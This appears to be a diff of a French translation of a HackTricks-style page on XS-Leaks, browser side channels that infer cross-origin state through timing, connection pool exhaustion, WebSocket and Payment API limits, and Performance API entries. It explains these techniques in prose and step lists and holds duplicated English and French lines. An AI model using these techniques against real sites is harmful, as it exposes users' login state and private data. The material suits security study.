- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Méthodes d'Inclusion** : Fetch API
- **Différence Détectable** : Timing (généralement dû au Contenu de la Page, Code d'État)
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Résumé :** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Cross-Window Timing
### Timing Cross-Window
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (généralement dû au Contenu de la Page, Code d'État)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête en utilisant `window.open`. D'autres horloges pourraient être utilisées.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Méthodes d'Inclusion** : Pop-ups
- **Différence Détectable** : Timing (généralement dû au Contenu de la Page, Code d'État)
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Résumé :** Utilisez [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pour mesurer le temps qu'il faut pour effectuer une requête en utilisant `window.open`. D'autres horloges pourraient être utilisées.
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## With HTML or Re Injection
## Avec HTML ou Réinjection
Ici, vous pouvez trouver des techniques pour exfiltrer des informations d'un HTML cross-origin **en injectant du contenu HTML**. Ces techniques sont intéressantes dans les cas où pour une raison quelconque vous pouvez **injecter du HTML mais vous ne pouvez pas injecter de code JS**.
### Dangling Markup
### Marquage Dangling
{{#ref}}
dangling-markup-html-scriptless-injection/
{{#endref}}
### Image Lazy Loading
### Chargement Paresseux d'Images
Si vous devez **exfiltrer du contenu** et que vous pouvez **ajouter du HTML avant le secret**, vous devriez vérifier les **techniques de balisage pendantes courantes**.\
Si vous devez **exfiltrer du contenu** et que vous pouvez **ajouter du HTML avant le secret**, vous devriez vérifier les **techniques de marquage dangling courantes**.\
Cependant, si pour une raison quelconque vous **DEVEZ** le faire **caractère par caractère** (peut-être que la communication se fait via un hit de cache), vous pouvez utiliser cette astuce.
**Les images** en HTML ont un attribut "**loading**" dont la valeur peut être "**lazy**". Dans ce cas, l'image sera chargée lorsqu'elle sera vue et non pendant le chargement de la page :

250
src/pentesting-web/xs-search/README.md
View File

@ -19,7 +19,7 @@ Les composants clés impliqués dans cette attaque comprennent :
Plusieurs aspects peuvent être analysés pour différencier les états du Web vulnérable :
- **Code d'état** : Distinguer entre **divers codes de réponse HTTP** cross-origin, comme les erreurs serveur, les erreurs client ou les erreurs d'authentification.
- **Code d'état** : Distinguer entre **divers codes de statut de réponse HTTP** cross-origin, comme les erreurs serveur, les erreurs client ou les erreurs d'authentification.
- **Utilisation de l'API** : Identifier **l'utilisation des API Web** à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique.
- **Redirections** : Détecter les navigations vers différentes pages, pas seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML.
- **Contenu de la page** : Observer **les variations dans le corps de la réponse HTTP** ou dans les sous-ressources de la page, comme le **nombre de cadres intégrés** ou les disparités de taille dans les images.
@ -30,7 +30,7 @@ Plusieurs aspects peuvent être analysés pour différencier les états du Web v
- **Éléments HTML** : HTML offre divers éléments pour **l'inclusion de ressources cross-origin**, comme des feuilles de style, des images ou des scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée à [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Cadres** : Des éléments tels que **iframe**, **object** et **embed** peuvent intégrer des ressources HTML directement dans la page de l'attaquant. Si la page **manque de protection contre le framing**, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow.
- **Pop-ups** : La méthode **`window.open`** ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un **handle de fenêtre** pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisés dans le single sign-on, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur.
- **Pop-ups** : La méthode **`window.open`** ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un **handle de fenêtre** pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisées dans le single sign-on, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur.
- **Requêtes JavaScript** : JavaScript permet des requêtes directes vers des ressources cibles en utilisant **XMLHttpRequests** ou l'**API Fetch**. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP.
### Techniques de fuite
@ -147,7 +147,7 @@ Si la première URL a été **chargée avec succès**, alors, en **changeant** l
Ensuite, vous pouvez **distinguer entre** une page **chargée correctement** ou une page qui a une **erreur** lorsqu'elle est accédée.
### Javascript Execution
### Exécution Javascript
- **Inclusion Methods**: Frames
- **Detectable Difference**: Contenu de la page
@ -165,7 +165,7 @@ javascript-execution-xs-leak.md
- **Detectable Difference**: Code d'état & En-têtes
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** est une mesure de sécurité qui empêche les pages web de charger certaines ressources sensibles d'origine croisée pour se protéger contre des attaques comme **Spectre**. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu'une réponse soumise à **CORB** renvoie un `Content-Type` _**protégé par CORB**_ avec `nosniff` et un code d'état `2xx`, **CORB** supprime le corps et les en-têtes de la réponse. Les attaquants observant cela peuvent déduire la combinaison du **code d'état** (indiquant succès ou erreur) et du `Content-Type` (indiquant s'il est protégé par **CORB**), ce qui peut entraîner une fuite d'informations potentielle.
- **Code Example**:
- **Code Example:**
Vérifiez le lien d'informations supplémentaires pour plus d'informations sur l'attaque.
@ -178,9 +178,9 @@ Vérifiez le lien d'informations supplémentaires pour plus d'informations sur l
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Il est possible de **charger une page** à l'intérieur d'un **iframe** et d'utiliser le **`#id_value`** pour faire **focaliser la page sur l'élément** de l'iframe avec l'id indiqué, puis si un signal **`onblur`** est déclenché, l'élément ID existe.\
Vous pouvez effectuer la même attaque avec des **tags** **`portal`**.
Vous pouvez effectuer la même attaque avec des tags **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
### Diffusions postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Utilisation de l'API
@ -188,11 +188,11 @@ Vous pouvez effectuer la même attaque avec des **tags** **`portal`**.
- **Summary**: Rassembler des informations sensibles à partir d'un postMessage ou utiliser la présence de postMessages comme un oracle pour connaître l'état de l'utilisateur sur la page
- **Code Example**: `Any code listening for all postMessages.`
Les applications utilisent fréquemment les [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) pour communiquer entre différentes origines. Cependant, cette méthode peut involontairement exposer des **informations sensibles** si le paramètre `targetOrigin` n'est pas correctement spécifié, permettant à n'importe quelle fenêtre de recevoir les messages. De plus, le simple fait de recevoir un message peut agir comme un **oracle** ; par exemple, certains messages peuvent n'être envoyés qu'aux utilisateurs qui sont connectés. Par conséquent, la présence ou l'absence de ces messages peut révéler des informations sur l'état ou l'identité de l'utilisateur, comme s'il est authentifié ou non.
Les applications utilisent fréquemment des diffusions [`postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) pour communiquer entre différentes origines. Cependant, cette méthode peut involontairement exposer des **informations sensibles** si le paramètre `targetOrigin` n'est pas correctement spécifié, permettant à n'importe quelle fenêtre de recevoir les messages. De plus, le simple fait de recevoir un message peut agir comme un **oracle** ; par exemple, certains messages peuvent n'être envoyés qu'aux utilisateurs qui sont connectés. Par conséquent, la présence ou l'absence de ces messages peut révéler des informations sur l'état ou l'identité de l'utilisateur, comme s'il est authentifié ou non.
## Global Limits Techniques
## Techniques de Limites Globales
### WebSocket API
### API WebSocket
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Utilisation de l'API
@ -202,9 +202,9 @@ Les applications utilisent fréquemment les [`postMessage` broadcasts](https://d
Il est possible d'identifier si, et combien, de **connexions WebSocket une page cible utilise**. Cela permet à un attaquant de détecter les états d'application et de fuir des informations liées au nombre de connexions WebSocket.
Si une **origine** utilise le **nombre maximum d'objets de connexion WebSocket**, indépendamment de l'état de leurs connexions, la création de **nouveaux objets entraînera des exceptions JavaScript**. Pour exécuter cette attaque, le site de l'attaquant ouvre le site cible dans une fenêtre pop-up ou un iframe et ensuite, après que le site cible a été chargé, tente de créer le maximum de connexions WebSocket possible. Le **nombre d'exceptions levées** est le **nombre de connexions WebSocket utilisées par la fenêtre du site web cible**.
Si une **origine** utilise le **nombre maximum d'objets de connexion WebSocket**, indépendamment de l'état de leurs connexions, la création de **nouveaux objets entraînera des exceptions JavaScript**. Pour exécuter cette attaque, le site de l'attaquant ouvre le site cible dans une fenêtre pop-up ou un iframe et ensuite, après que le site cible a été chargé, tente de créer le maximum de connexions WebSocket possible. Le **nombre d'exceptions levées** est le **nombre de connexions WebSocket utilisées par la fenêtre du site cible**.
### Payment API
### API de Paiement
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Utilisation de l'API
@ -214,12 +214,12 @@ Si une **origine** utilise le **nombre maximum d'objets de connexion WebSocket**
Cette fuite XS permet à un attaquant de **détecter quand une page d'origine croisée initie une demande de paiement**.
Parce que **une seule demande de paiement peut être active** à la fois, si le site cible utilise l'API de demande de paiement, toute **tentative ultérieure d'utiliser cette API échouera**, et provoquera une **exception JavaScript**. L'attaquant peut exploiter cela en **tentant périodiquement d'afficher l'interface utilisateur de l'API de paiement**. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives périodiques en fermant immédiatement l'interface utilisateur après sa création.
Parce que **une seule demande de paiement peut être active** à la fois, si le site cible utilise l'API de demande de paiement, toute **tentative ultérieure d'utiliser cette API échouera**, et provoquera une **exception JavaScript**. L'attaquant peut exploiter cela en **essayant périodiquement d'afficher l'interface utilisateur de l'API de paiement**. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives périodiques en fermant immédiatement l'interface utilisateur après sa création.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
### Chronométrage de la Boucle d'Événements <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Summary:** Mesurer le temps d'exécution d'un web en abusant de la boucle d'événements JS à thread unique.
- **Code Example**:
@ -228,28 +228,28 @@ Parce que **une seule demande de paiement peut être active** à la fois, si le
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript fonctionne sur un modèle de concurrence à [boucle d'événements à thread unique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), signifiant qu'il **ne peut exécuter qu'une seule tâche à la fois**. Cette caractéristique peut être exploitée pour évaluer **combien de temps le code d'une autre origine prend pour s'exécuter**. Un attaquant peut mesurer le temps d'exécution de son propre code dans la boucle d'événements en envoyant continuellement des événements avec des propriétés fixes. Ces événements seront traités lorsque le pool d'événements est vide. Si d'autres origines envoient également des événements au même pool, un **attaquant peut déduire le temps qu'il faut à ces événements externes pour s'exécuter en observant les retards dans l'exécution de ses propres tâches**. Cette méthode de surveillance de la boucle d'événements pour des retards peut révéler le temps d'exécution du code d'autres origines, exposant potentiellement des informations sensibles.
JavaScript fonctionne sur un modèle de concurrence [à boucle d'événements à thread unique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), signifiant qu'il **ne peut exécuter qu'une seule tâche à la fois**. Cette caractéristique peut être exploitée pour évaluer **combien de temps le code d'une autre origine prend pour s'exécuter**. Un attaquant peut mesurer le temps d'exécution de son propre code dans la boucle d'événements en envoyant continuellement des événements avec des propriétés fixes. Ces événements seront traités lorsque le pool d'événements est vide. Si d'autres origines envoient également des événements au même pool, un **attaquant peut déduire le temps qu'il faut à ces événements externes pour s'exécuter en observant les retards dans l'exécution de ses propres tâches**. Cette méthode de surveillance de la boucle d'événements pour des retards peut révéler le temps d'exécution du code d'autres origines, exposant potentiellement des informations sensibles.
> [!WARNING]
> Dans un timing d'exécution, il est possible de **supprimer** **les facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
> Dans un chronométrage d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
### Boucle d'Événements Occupée <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Une méthode pour mesurer le temps d'exécution d'une opération web consiste à bloquer intentionnellement la boucle d'événements d'un thread et ensuite à chronométrer **combien de temps il faut pour que la boucle d'événements redevienne disponible**. En insérant une opération de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'événements, et en surveillant le temps qu'il faut pour que le code suivant commence à s'exécuter, on peut déduire la durée des tâches qui s'exécutaient dans la boucle d'événements pendant la période de blocage. Cette technique exploite la nature à thread unique de la boucle d'événements de JavaScript, où les tâches sont exécutées séquentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opérations partageant le même thread.
- **Summary:** Une méthode pour mesurer le temps d'exécution d'une opération web consiste à bloquer intentionnellement la boucle d'événements d'un thread et ensuite à chronométrer **combien de temps il faut pour que la boucle d'événements soit à nouveau disponible**. En insérant une opération de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'événements, et en surveillant le temps qu'il faut pour que le code suivant commence à s'exécuter, on peut déduire la durée des tâches qui s'exécutaient dans la boucle d'événements pendant la période de blocage. Cette technique exploite la nature à thread unique de la boucle d'événements de JavaScript, où les tâches sont exécutées séquentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opérations partageant le même thread.
- **Code Example**:
Un avantage significatif de la technique de mesure du temps d'exécution en verrouillant la boucle d'événements est son potentiel à contourner **l'Isolation de Site**. **L'Isolation de Site** est une fonctionnalité de sécurité qui sépare différents sites en processus distincts, visant à empêcher les sites malveillants d'accéder directement à des données sensibles d'autres sites. Cependant, en influençant le timing d'exécution d'une autre origine par le biais de la boucle d'événements partagée, un attaquant peut indirectement extraire des informations sur les activités de cette origine. Cette méthode ne repose pas sur un accès direct aux données de l'autre origine mais plutôt sur l'observation de l'impact des activités de cette origine sur la boucle d'événements partagée, contournant ainsi les barrières de protection établies par **l'Isolation de Site**.
Un avantage significatif de la technique de mesure du temps d'exécution en verrouillant la boucle d'événements est son potentiel à contourner **l'Isolation de Site**. **L'Isolation de Site** est une fonctionnalité de sécurité qui sépare différents sites en processus distincts, visant à empêcher les sites malveillants d'accéder directement à des données sensibles d'autres sites. Cependant, en influençant le chronométrage d'exécution d'une autre origine par le biais de la boucle d'événements partagée, un attaquant peut indirectement extraire des informations sur les activités de cette origine. Cette méthode ne repose pas sur un accès direct aux données de l'autre origine mais plutôt sur l'observation de l'impact des activités de cette origine sur la boucle d'événements partagée, contournant ainsi les barrières de protection établies par **l'Isolation de Site**.
> [!WARNING]
> Dans un timing d'exécution, il est possible de **supprimer** **les facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
> Dans un chronométrage d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
### Connection Pool
### Pool de Connexion
- **Inclusion Methods**: Requêtes JavaScript
- **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Un attaquant pourrait verrouiller toutes les sockets sauf 1, charger le web cible et en même temps charger une autre page, le temps jusqu'à ce que la dernière page commence à se charger est le temps que la page cible a mis à charger.
- **Code Example**:
@ -263,36 +263,36 @@ Les navigateurs utilisent des sockets pour la communication avec le serveur, mai
1. Déterminer la limite de sockets du navigateur, par exemple, 256 sockets globaux.
2. Occuper 255 sockets pendant une durée prolongée en initiant 255 requêtes à divers hôtes, conçues pour maintenir les connexions ouvertes sans les terminer.
3. Utiliser le 256ème socket pour envoyer une requête à la page cible.
4. Tenter une 257ème requête à un autre hôte. Étant donné que tous les sockets sont utilisés (comme indiqué aux étapes 2 et 3), cette requête sera mise en file d'attente jusqu'à ce qu'un socket devienne disponible. Le délai avant que cette requête ne progresse fournit à l'attaquant des informations de timing sur l'activité réseau liée au socket du 256ème (le socket de la page cible). Cette inférence est possible car les 255 sockets de l'étape 2 sont toujours engagés, ce qui implique que tout nouveau socket disponible doit être celui libéré de l'étape 3. Le temps nécessaire pour que le 256ème socket devienne disponible est donc directement lié au temps requis pour que la requête à la page cible se termine.
4. Tenter une 257ème requête à un autre hôte. Étant donné que tous les sockets sont utilisés (comme indiqué aux étapes 2 et 3), cette requête sera mise en file d'attente jusqu'à ce qu'un socket devienne disponible. Le délai avant que cette requête ne progresse fournit à l'attaquant des informations de chronométrage sur l'activité réseau liée au socket du 256ème (le socket de la page cible). Cette déduction est possible car les 255 sockets de l'étape 2 sont toujours engagés, ce qui implique que tout nouveau socket disponible doit être celui libéré de l'étape 3. Le temps nécessaire pour que le 256ème socket devienne disponible est donc directement lié au temps requis pour que la requête à la page cible soit terminée.
Pour plus d'infos : [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Connection Pool by Destination
### Pool de Connexion par Destination
- **Inclusion Methods**: Requêtes JavaScript
- **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
- **Detectable Difference**: Chronométrage (généralement dû au Contenu de la page, Code d'état)
- **More info**:
- **Summary:** C'est comme la technique précédente mais au lieu d'utiliser tous les sockets, Google **Chrome** impose une limite de **6 requêtes simultanées à la même origine**. Si nous **bloquons 5** et ensuite **lancions une 6ème** requête, nous pouvons **la chronométrer** et si nous avons réussi à faire en sorte que la **page victime envoie** plus de **requêtes** vers le même point de terminaison pour détecter un **statut** de la **page**, la **6ème requête** prendra **plus de temps** et nous pourrons le détecter.
## Performance API Techniques
## Techniques de l'API de Performance
L'[`API de Performance`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre des informations sur les métriques de performance des applications web, enrichies par l'[`API de Timing des Ressources`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API de Timing des Ressources permet de surveiller les temps de requêtes réseau détaillés, tels que la durée des requêtes. Notamment, lorsque les serveurs incluent l'en-tête `Timing-Allow-Origin: *` dans leurs réponses, des données supplémentaires comme la taille de transfert et le temps de recherche de domaine deviennent disponibles.
L'[`API de Performance`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre des aperçus sur les métriques de performance des applications web, enrichies par l'[`API de Chronométrage des Ressources`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API de Chronométrage des Ressources permet de surveiller les temps de requêtes réseau détaillés, tels que la durée des requêtes. Notamment, lorsque les serveurs incluent l'en-tête `Timing-Allow-Origin: *` dans leurs réponses, des données supplémentaires comme la taille de transfert et le temps de recherche de domaine deviennent disponibles.
Cette richesse de données peut être récupérée via des méthodes comme [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fournissant une vue complète des informations liées à la performance. De plus, l'API facilite la mesure des temps d'exécution en calculant la différence entre les horodatages obtenus à partir de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Cependant, il convient de noter que pour certaines opérations dans des navigateurs comme Chrome, la précision de `performance.now()` peut être limitée aux millisecondes, ce qui pourrait affecter la granularité des mesures de timing.
Cette richesse de données peut être récupérée via des méthodes comme [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fournissant une vue complète des informations liées à la performance. De plus, l'API facilite la mesure des temps d'exécution en calculant la différence entre les horodatages obtenus à partir de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Cependant, il convient de noter que pour certaines opérations dans des navigateurs comme Chrome, la précision de `performance.now()` peut être limitée aux millisecondes, ce qui pourrait affecter la granularité des mesures de chronométrage.
Au-delà des mesures de timing, l'API de Performance peut être exploitée pour des informations liées à la sécurité. Par exemple, la présence ou l'absence de pages dans l'objet `performance` dans Chrome peut indiquer l'application de `X-Frame-Options`. Plus précisément, si une page est bloquée de son rendu dans un cadre en raison de `X-Frame-Options`, elle ne sera pas enregistrée dans l'objet `performance`, fournissant un indice subtil sur les politiques de cadre de la page.
Au-delà des mesures de chronométrage, l'API de Performance peut être exploitée pour des aperçus liés à la sécurité. Par exemple, la présence ou l'absence de pages dans l'objet `performance` dans Chrome peut indiquer l'application de `X-Frame-Options`. Plus précisément, si une page est bloquée de son rendu dans un cadre en raison de `X-Frame-Options`, elle ne sera pas enregistrée dans l'objet `performance`, fournissant un indice subtil sur les politiques de cadre de la page.
### Error Leak
### Fuite d'Erreur
- **Inclusion Methods**: Frames, Éléments HTML
- **Detectable Difference**: Code d'état
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Une requête qui entraîne des erreurs ne créera pas d'entrée de timing de ressource.
- **Summary:** Une requête qui entraîne des erreurs ne créera pas d'entrée de chronométrage des ressources.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Il est possible de **différencier entre les codes d'état de réponse HTTP** car les requêtes qui entraînent une **erreur** ne **créent pas d'entrée de performance**.
### Style Reload Error
### Erreur de Rechargement de Style
- **Inclusion Methods**: Éléments HTML
- **Detectable Difference**: Code d'état
@ -302,7 +302,7 @@ Il est possible de **différencier entre les codes d'état de réponse HTTP** ca
Dans la technique précédente, deux cas ont également été identifiés où des bugs du navigateur dans GC entraînent des **ressources étant chargées deux fois lorsqu'elles échouent à se charger**. Cela entraînera plusieurs entrées dans l'API de Performance et peut donc être détecté.
### Request Merging Error
### Erreur de Fusion de Requêtes
- **Inclusion Methods**: Éléments HTML
- **Detectable Difference**: Code d'état
@ -312,17 +312,17 @@ Dans la technique précédente, deux cas ont également été identifiés où de
La technique a été trouvée dans un tableau dans le document mentionné mais aucune description de la technique n'a été trouvée. Cependant, vous pouvez trouver le code source en vérifiant [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Empty Page Leak
### Fuite de Page Vide
- **Inclusion Methods**: Frames
- **Detectable Difference**: Contenu de la page
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Les réponses vides ne créent pas d'entrées de timing de ressource.
- **Summary:** Les réponses vides ne créent pas d'entrées de chronométrage des ressources.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Un attaquant peut détecter si une requête a entraîné un corps de réponse HTTP vide car les **pages vides ne créent pas d'entrée de performance dans certains navigateurs**.
### **XSS-Auditor Leak**
### **Fuite de l'Auditeur XSS**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Contenu de la page
@ -332,53 +332,53 @@ Un attaquant peut détecter si une requête a entraîné un corps de réponse HT
Dans les Assertions de Sécurité (SA), l'Auditeur XSS, initialement destiné à prévenir les attaques de Cross-Site Scripting (XSS), peut paradoxalement être exploité pour fuir des informations sensibles. Bien que cette fonctionnalité intégrée ait été supprimée de Google Chrome (GC), elle est toujours présente dans SA. En 2013, Braun et Heiderich ont démontré que l'Auditeur XSS pouvait bloquer involontairement des scripts légitimes, entraînant de faux positifs. S'appuyant sur cela, des chercheurs ont développé des techniques pour extraire des informations et détecter un contenu spécifique sur des pages d'origine croisée, un concept connu sous le nom de XS-Leaks, initialement rapporté par Terada et élaboré par Heyes dans un article de blog. Bien que ces techniques soient spécifiques à l'Auditeur XSS dans GC, il a été découvert que dans SA, les pages bloquées par l'Auditeur XSS ne génèrent pas d'entrées dans l'API de Performance, révélant une méthode par laquelle des informations sensibles pourraient encore être divulguées.
### X-Frame Leak
### Fuite X-Frame
- **Inclusion Methods**: Frames
- **Detectable Difference**: En-tête
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** Une ressource avec un en-tête X-Frame-Options ne crée pas d'entrée de timing de ressource.
- **Summary:** Une ressource avec un en-tête X-Frame-Options ne crée pas d'entrée de chronométrage des ressources.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Si une page n'est **pas autorisée** à être **rendu** dans un **iframe**, elle ne crée **pas d'entrée de performance**. En conséquence, un attaquant peut détecter l'en-tête de réponse **`X-Frame-Options`**.\
Il en va de même si vous utilisez une **balise** **embed**.
Il en va de même si vous utilisez une **balise embed**.
### Download Detection
### Détection de Téléchargement
- **Inclusion Methods**: Frames
- **Detectable Difference**: En-tête
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Les téléchargements ne créent pas d'entrées de timing de ressource dans l'API de Performance.
- **Summary:** Les téléchargements ne créent pas d'entrées de chronométrage des ressources dans l'API de Performance.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
De manière similaire à la fuite XS décrite, une **ressource qui est téléchargée** en raison de l'en-tête ContentDisposition ne crée également **pas d'entrée de performance**. Cette technique fonctionne dans tous les navigateurs majeurs.
### Redirect Start Leak
### Fuite de Début de Redirection
- **Inclusion Methods**: Frames
- **Detectable Difference**: Redirection
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** L'entrée de timing de ressource révèle le temps de début d'une redirection.
- **Summary:** L'entrée de chronométrage des ressources révèle l'heure de début d'une redirection.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Nous avons trouvé un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requêtes d'origine croisée. La norme définit un sous-ensemble d'attributs qui doivent être définis à zéro pour les ressources d'origine croisée. Cependant, dans **SA**, il est possible de détecter si l'utilisateur est **redirigé** par la page cible, en interrogeant l'**API de Performance** et en vérifiant les **données de timing redirectStart**.
